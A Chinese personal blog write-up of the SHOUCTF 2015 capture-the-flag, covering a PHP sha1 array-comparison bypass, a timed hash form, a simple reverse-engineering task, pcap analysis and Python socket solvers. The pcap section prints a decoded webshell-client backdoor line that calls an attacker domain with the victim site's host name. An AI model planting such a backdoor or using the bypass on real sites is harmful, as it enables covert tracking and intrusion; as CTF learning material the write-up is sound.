SHOUCTF 2015 write up

一次偶然的机会,接触到了这次 SHOUCTF 2015(上海海洋大学CTF)。本以为又会像BCTF那样签个到就结束了,结果碰着运气竟然做出了几题。感觉是很照顾我这种新手的CTF((orz

WEB – SHA1

邪恶组织的第三个web关卡,要求找到两个碰撞的sha1

http://202.121.66.254/74a89174426b40307102e165374ab8ab/test4.php

然而在网络上看了看,并没有找到SHA1的碰撞。遂研究代码。

1

发现 $_POST['a'] 及 $_POST['b'] 为数组时可以绕过。

提交 a[]=aaaa&b[]=bbbb

结果用 Fiddler 改 GET 为 POST 的时候,忘记加下面两行了,一直在想为啥没提交上去 = =##

Content-Length: 15
Content-Type: application/x-www-form-urlencoded

Flag: SHOUCTF{5h0uc7f_w36_l00_fuck_3qu4l}

WEB – 挑战书

邪恶组织和bingbo同学的斗争仍在继续,这次邪恶组织换了一个手法,改变了密码门的认证方式,要求选手完成一个很变态运算,邪恶组织自认为这种办法能阻挡一切勇士,然而在bingbo同学看来,邪恶组织仍然的是那么的逗比可笑。你能和bingbo同学一起证明邪恶组织的智商为0吗?

http://202.121.66.254/4034a346ccee15292d823416f7510a2f/evil.php

[html]
<html>
<head>
<title>evil level4</title>
<link rel=’stylesheet’ href=’style.css’ type=’text/css’>
</head>
<body>

<section class=”login”>

<form method=”post”>
<input type=”text” required name=”key” placeholder=”Password” />
<input type=”submit”/>
</form>

<!– key is OEROCWHJJSMDKVYAKCPV –>
<!– you should compute sha256(md5($key.”evi1salt”)) and submit correct result in 2 seconds</br>–>
</section>

</body>
</html>
[/html]

写程序提交即可(= =## python还不熟,用的EL)

2

Flag: SHOUCTF{X1eEZUzh1_TMD_SH1_2B_Y0ng_ZH3_ME_Sb_D3_Way}

REVERSE – re100

一道简单的逆向题~~~

reverse100_50bb572ae977cafec2ddaeff150e4ad34e183fc2

64位程序,所以用IDA64打开,直接F5了。

把几个变量转为char,Flag是原文保存的。

3

Flag: SHOUCTF{v3r_ySaEP_A_3Sr33C31}

等等,图中的v5、v6、v7储存方向是相反的(是因为整数储存方式的原因吗?),so..

Flag: SHOUCTF{EaSy_r3v3rS3_A_P13C3}

毕竟完全不会汇编.. 能做出一道reverse已经算万幸了orz

MISC – 中国砍刀

bingbo同学上周和白兔师父一起在拍档多喝咖啡,bingbo同学无意间跟白兔师父提到了过狗菜刀后门的问题,白兔师父表示呵呵一笑,于是现场抓了流量给bingbo同学看,没想到这一抓把白兔师父下了一跳,没想到自己的菜刀里面也有后门啊。你能发现这个过狗菜刀后门地址吗?

链接: http://pan.baidu.com/s/1o6ViY6Y 密码: 79mv

本题flag最终形式:SHOUCTF{backdoor_FLAG} FLAG为你找到的答案,只要域名形式

下载下来是一个 .pcapng 文件,用wireshark打开。woc,好多包。

4

因为题目说答案是域名,所以直接找DNS了~

5

噫!hm!后门!看我找到你了~

然而.. Wrong.. 一查发现 shifen.com 是家大公司的,怎么看都不感觉有后门的样子.. 毕竟不怎么会用 Wireshark,于是又碰运气找了几个。

当过滤到 POST 请求时,发现了几个特别的包。

6

看上去像在插一句话。两次解码其中的base64。

[php]if($_COOKIE[‘Lyke’]!=1){setcookie(‘Lyke’,1);@file(‘http://www.api.com.de/Api.php?Url=’.$_SERVER[‘HTTP_HOST’][/php]

发现了可疑的域名:www.api.com.de,提交,通过。

Flag: SHOUCTF{backdoor_api.com.de} 或 SHOUCTF{backdoor_www.api.com.de} (记不清了..)

MISC – 找不同

附件中有两个cmd.exe,看上去好像是相同的,其实不然,你能找出他们的不同吗

http://184.164.88.132/static/uploads/bfd9e9f4e4b4edd56a6f16cfa4b2e77c/cmd.zip

用 Beyond Compare 的 16 进制比较,发现文件末尾有不同,很快找到Flag。

7

Flag: SHOUCTF{3ACB23_FSCD32} (记不太清了..)

MISC – 口算题

bingbo同学最近和邪恶组织干上了,邪恶组织的人总是想给bingbo同学制造各种麻烦,以阻挡其前进的道路。这不,邪恶组织这次想故意刁难bingbo同学。bingbo同学看到他们的关卡后,笑了。

nc 139.129.5.159 23333

8

似乎要写程序计算。但是不熟悉nc,不知道怎么写orz

想到以前BCTF有类似的题目,于是拿了一个解答程序修改了一下。

[python]# encoding=utf-8

based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py

import sys
from socket import *
import math

TARGET = (‘139.129.5.159′, 23333)

s = socket()
s.connect(TARGET)

def rd(*suffixes):
out = ”
while 1:
x = s.recv(1)
if not x:
raise EOFError()
sys.stdout.write(x)
sys.stdout.flush()
out += x

for suffix in suffixes:
if out.endswith(suffix):
break
else:
continue
break
return out

def pr(x):
s.send(x+’\n’)
print “<%s” % x

for i in xrange(100):
qs = re.findall(r'(.*) \= \?’, rd(‘? ‘))
qs[0] = qs[0].replace(“/”,”.0/”)
print qs
if qs:
val = eval(qs[0], {‘builtins‘: None})
print val
pr(“%d” % val)
rd(‘}’)[/python]

9

Flag: SHOUCTF{Pr0gram_Just_F1r3t_Cha11enge}

MISC – 好玩的游戏

这是邪恶组织在MISC中的最后一个关卡,你能搞定他吗?

nc 139.129.5.159 5050

做完上一题,发现又多了一题,一看感觉好难 = =##

10

仔细想了想,发现其实并不复杂,把 50 25(明明是25个嘛!) 个单词和被打乱的单词按照字母顺序排序,然后寻找即可。

在上一题的代码上修改即可。

[python]# encoding=utf-8

based on https://github.com/pwning/public-writeup/blob/master/bctf2015/prog300-experiment/solve.py

by Coxxs

import sys
from socket import *
import math
import re

TARGET = (‘139.129.5.159′, 5050)

s = socket()
s.connect(TARGET)

def rd(*suffixes):
out = ”
while 1:
x = s.recv(1)
if not x:
raise EOFError()
sys.stdout.write(x)
sys.stdout.flush()
out += x

for suffix in suffixes:
if out.endswith(suffix):
break
else:
continue
break
return out

def pr(x):
s.send(x+’\n’)
print “<%s” % x

rd(‘]’) # [+] 你需要从50个单词中找出被打乱的单词的正确序列,规定时间为60秒钟.祝你们好运哦

for i in xrange(50):
qs = re.findall(r’[(.)]’, rd(‘]’))
li = eval(qs[0]);
li2 = []
for i in li:
a = list(i)
a.sort()
li2.append(a)
qs = re.findall(r’: (.
)\n’, rd(‘输入’))
ans = list(qs[0])
ans.sort()
print li2.index(ans)
pr(li[li2.index(ans)])

rd(‘}’)[/python]

11

Flag: SHOUCTF{MA_MA_SHU0_N1_Z0ng_Sh1_ZH3_M3_L1u}

这次大概算我第一次真正参与过的CTF了吧(因为以前的完全解不出一题啊= =##)。还有几道题虽然尝试了,但是无果,还是挺想看看write up的。

另外不得不感谢这学期学校开的 Python 课程,虽然教的还是2,但还是受益匪浅,也碰巧在这次CTF用上了- -!

作为CTF的小菜鸟,一点一点学习吧 > <

Coxxs

2015-12-24:附:官方部分 write up http://pan.baidu.com/s/1o6Y7jCI 密码:azh5

一个有关“SHOUCTF 2015 write up”的想法

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注